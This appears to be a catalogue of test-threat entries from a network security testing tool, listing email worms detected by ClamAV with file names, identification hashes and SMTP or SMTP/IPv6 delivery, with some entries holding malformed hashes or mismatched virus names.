Detailed Description:	This is the email virus Worm.Mydoom.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a9cf630193c5d29b1238a98e68f25ba3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Funny.6dc98b4d_IPv6.xml
Executive Description:	Email Virus Worm.Funny (IPv6 Version)
Detailed Description:	This is the email virus Worm.Funny as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dc98b4d0e7d987c0dfd3f5e7ca530b1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Choke.1.484e156c_IPv6.xml
Executive Description:	Email Virus Worm.Choke.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Choke.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 484e156cb34961ec3d17b130ed805c05. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.MsWorld.msw.7bd8a009_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.MsWorld.msw (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.MsWorld.msw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.MsWorld.msw. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Microyano.c1e96ael_IPv6.xml
Executive Description:	Email Virus Worm.Microyano (IPv6 Version)
Detailed Description:	This is the email virus Worm.Microyano as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c1e96aelc3b4489d7f47c8ccd8575164. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Shuq.e.e.a7b6351e.xml
Executive Description:	Email Virus Email-Worm.Win32.Shuq.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Shuq.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Shuq.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Urick.b.3f3f41fc.xml
Executive Description:	Email Virus Worm.Urick.b
Detailed Description:	This is the email virus Worm.Urick.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3f3f41fcd42add8c8aa3f9b6blafd379. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.2b4261bc_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b4261bcdff2eb2221ec9320f3dfoec3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.ff2f730a.xml
Executive Description:	Email Virus Worm.Yoxec

Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff2f730a128fdae06231ee2f2ee09e55. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.BadassWorm.af3d7ff4_IPv6.xml
Executive Description:	Email Virus W32.BadassWorm (IPv6 Version)
Detailed Description:	This is the email virus W32.BadassWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: af3d7ff4ffeb830876c0bccdc682f6b8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorda.64b1e500_IPv6.xml
Executive Description:	Email Virus Worm.Lorda (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 64b1e50059eb7cb4fc08c96d4f94ddab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.8b4e37d5.xml
Executive Description:	Email Virus Worm.Bagle.AG
Detailed Description:	This is the email virus Worm.Bagle.AG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8b4e37d50e8d559f7190381fb35c317e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vote.b.f2c5b9ad_IPv6.xml
Executive Description:	Email Virus Worm.Vote.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vote.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2c5b9ad39375f4dce510b5b702984c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.e26805de_IPv6.xml
Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e26805de2b66a154bff6be0c50631779. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Puron.b3df8b68_IPv6.xml
Executive Description:	Email Virus Worm.Puron (IPv6 Version)
Detailed Description:	This is the email virus Worm.Puron as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b3df8b68919e04f1edeb66d746cbeb80. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.65b6f958_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65b6f958f61f9255ebac1062f577d4dc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.B.75e88297.xml
Executive Description:	Email Virus Worm.Brit.B
Detailed Description:	This is the email virus Worm.Brit.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75e88297cb585fe4931ba9a6a469f101. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.t.084d8243_IPv6.xml
Executive Description:	Email Virus Worm.Alcaul.t (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcaul.t as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 084d82431a296b27dc18cce0175c5bd0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Klexe.kle.fa4a807c.xml
Executive Description:	Email Virus Email-Worm.Win32.Klexe.kle
Detailed Description:	This is the email virus Email-Worm.Win32.Klexe.kle as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Klexe.kle. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yoxec.1d7069df_IPv6.xml

Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d7069dfe6940d3c97b1f8c761ab3ba7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sober.L.96fd4a01.xml
Executive Description:	Email Virus Worm.Sober.L
Detailed Description:	This is the email virus Worm.Sober.L as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 96fd4a01db5a713236384498fbc5acd9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Assarm.ass.e3e151ac.xml
Executive Description:	Email Virus Email-Worm.Win32.Assarm.ass
Detailed Description:	This is the email virus Worm.Rous.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Assarm.ass. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rous.A.ab46b2fe_IPv6.xml
Executive Description:	Email Virus Worm.Rous.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rous.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab46b2feb233f5ce78e01161c3688c02. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.abf4792b.xml
Executive Description:	Email Virus Worm.Vorgon.B
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: abf4792b65c116adca701f92b49cb421. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.f2f93898_IPv6.xml
Executive Description:	Email Virus W32.Ultratt.gz (IPv6 Version)
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2f9389899657155bc503e679e3b34a1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.b.b.763748e3.xml
Executive Description:	Email Virus Email-Worm.Win32.Silly.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.SSIWG2.ssi.4b1e2c5a_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.SSIWG2.ssi (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.SSIWG2.ssi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.SSIWG2.ssi. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Merkur.b.b.13a37ee0_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Merkur.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Merkur.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Merkur.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ciosor.cio.ab0647ba_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Ciosor.cio (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ciosor.cio. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.6be9c2b7_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6be9c2b76f58aa75722cdb7dfe2aabf9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	VBS.LoveLetter.D.42fea410.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42fea410396557f74d2d58035676bc28. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Proud.e449f193_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Proud (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Proud as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e449f193bc7933e4f3d086cdf94edfc2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.28a56f3a_IPv6.xml
Executive Description:	Email Virus Backdoor.Rustock.B (IPv6 Version)
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28a56f3a53ca91e85185bb28541b43b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Satan.7076ae22.xml
Executive Description:	Email Virus Worm.Satan
Detailed Description:	This is the email virus Worm.Satan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7076ae2218010470f4b69ac5b4bc0dec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	MIRC.IRC.Mill.3.09f39e9a_IPv6.xml
Executive Description:	Email Virus MIRC.IRC.Mill.3 (IPv6 Version)
Detailed Description:	This is the email virus MIRC.IRC.Mill.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 09f39e9a90a97f01a4387fa8a6044167. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lacro.A.3f539f31_IPv6.xml
Executive Description:	Email Virus Worm.Lacro.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lacro.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3f539f312c5ab8f219a838808eb3ddce. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.62154693_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 621546937af4b6346e251822fd481634. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stepaik.c.c.c4fae069_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Stepaik.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Stepaik.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stepaik.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gibe.1.9fa3a173_IPv6.xml
Executive Description:	Email Virus Worm.Gibe.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gibe.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9fa3a173b3a9f3ce3f70b420a76fb83c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.e.e.4f874b0b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Dumaru.e.e.7c5b9ad2_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Dumaru.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Dumaru.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Dumaru.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Doday.c6be62c1_IPv6.xml
Executive Description:	Email Virus Worm.Doday (IPv6 Version)
Detailed Description:	This is the email virus Worm.Doday as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c6be62c1334a6fe95c0cb1faa2532199. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Pics.b.dab362e2_IPv6.xml
Executive Description:	Email Virus Worm.Pics.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Pics.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dab362e23d98a3ba9be4b577ea44be6e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BubbleBoy.msg.bb7b91d1_IPv6.xml
Executive Description:	Email Virus Worm.BubbleBoy.msg (IPv6 Version)
Detailed Description:	This is the email virus Worm.BubbleBoy.msg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb7b91d1685db89b58ac01a72921e632. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.680d191a.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 680d191af9028ed837422070c8e21699. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Bizon.biz.6100093b.xml
Executive Description:	Email Virus Email-Worm.MSWord.Bizon.biz
Detailed Description:	This is the email virus Email-Worm.MSWord.Bizon.biz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Bizon.biz. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rayman.blb65950_IPv6.xml
Executive Description:	Email Virus Worm.Rayman (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rayman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blb659508a4288ae1278adbaea88dbd3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Updater.f.f.94148e69.xml
Executive Description:	Email Virus Email-Worm.Win32.Updater.f.f
Detailed Description:	This is the email virus Email-Worm.Win32.Updater.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Updater.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.25ef8d05.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 25ef8d05728dd13a8c0dc90fad9bd81d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Arica.b.1165e819_IPv6.xml
Executive Description:	Email Virus Worm.Arica.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Arica.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1165e819f5aae4cb58780e6ble13296b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorda.7d2654a6_IPv6.xml
Executive Description:	Email Virus Worm.Lorda (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7d2654a663225951edd5b055bbca5ee4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yaha.G-2.b63eae8c_IPv6.xml
Executive Description:	Email Virus Worm.Yaha.G-2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yaha.G-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b63eae8cfefb0a3f7a05504933dcea5d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Heath.c.9a6ae361_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a6ae3612ff7ca051c7b828087ef73a9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Talorm.88d0606e.xml
Executive Description:	Email Virus Worm.Talorm
Detailed Description:	This is the email virus Worm.Talorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88d0606ebdabe3e8b237c480adfa848. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Allfree.A.bf006f50_IPv6.xml
Executive Description:	Email Virus VBS.Allfree.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Allfree.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bf006f50d4a5149d7845b416cf538e32. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.c.bc74b5f2.xml
Executive Description:	Email Virus Worm.Jerm.c
Detailed Description:	This is the email virus Worm.Jerm.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bc74b5f218ae107463a128e292b56032. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Kielhorn.17966efb.xml
Executive Description:	Email Virus Worm.VBS.Kielhorn
Detailed Description:	This is the email virus Worm.VBS.Kielhorn as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17966efb88a79d14461438e48c36140c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Psych.85de9cbe.xml
Executive Description:	Email Virus Worm.Psych
Detailed Description:	This is the email virus Worm.Psych as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85de9cbebf1ff04f8df17182276c03a8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.S.809c50d2.xml
Executive Description:	Email Virus Worm.Lovgate.S
Detailed Description:	This is the email virus Worm.Lovgate.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 809c50d245b45614f8b27de98bc828a9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Buzill.b.b.64407db1.xml
Executive Description:	Email Virus Email-Worm.Win32.Buzill.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Buzill.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Buzill.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.41f04b64.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41f04b6455e0dc64cbe6370505d9a6a5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Urbe.c.c.93296357.xml
Executive Description:	Email Virus Email-Worm.Win32.Urbe.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Urbe.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Urbe.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.d1b4f623_IPv6.xml
Executive Description:	Email Virus Worm.Fbound.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d1b4f623a52c9defb4430ff585d5d41. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.B.d18f2497_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.PicaWorm.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d18f24972f7cec2fc65c138f235f4380. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mylife.h.h.fa93efd3.xml
Executive Description:	Email Virus Email-Worm.Win32.Mylife.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.Mylife.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mylife.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Ypsan.b.b.12592fae_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Ypsan.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Ypsan.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Ypsan.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yarner.a.a.64218ac8.xml
Executive Description:	Email Virus Email-Worm.Win32.Yarner.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Yarner.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yarner.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Merlin.b.71c0c1d5.xml
Executive Description:	Email Virus Worm.Merlin.b
Detailed Description:	This is the email virus Worm.Merlin.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 71c0c1d50b4b30e09e4877e5a554aa71. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Picris.7e4051e2.xml
Executive Description:	Email Virus Worm.Picris
Detailed Description:	This is the email virus Worm.Picris as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e4051e20c1a5f69a286828d1891109f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.b14bacd6.xml
Executive Description:	Email Virus W32.Worm.Choke
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b14bacd6ff439f81c08cc649bdd7a912. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.6a96c7fc.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6a96c7fca9ae43ff09f9edd2c86b7888. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SCO.A.53df3909.xml
Executive Description:	Email Virus Worm.SCO.A
Detailed Description:	This is the email virus Worm.SCO.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53df39092394741514bc050f3d6a06a9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.J.4ec0004f.xml
Executive Description:	Email Virus Worm.Petik.J
Detailed Description:	This is the email virus Worm.Petik.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ec0004fb7f700df736ae4d3c2c22919. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.ecafc7fa_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)

Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ecafc7fa4592920ca0948de98493a758. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.08c40dc6_IPv6.xml
Executive Description:	Email Virus Worm.Fbound.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08c40dc60ab7a74f5a895aab83080a5e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.VBS.Flames.A.9e48c5d1_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Flames.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Flames.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e48c5d102f54ae642644eee3f330a43. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Scamblcr.df24e1cc.xml
Executive Description:	Email Virus W32.Scamblcr
Detailed Description:	This is the email virus W32.Scamblcr as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: df24e1ccceb3c75dada950alc1abca4d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.626cfb5b_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
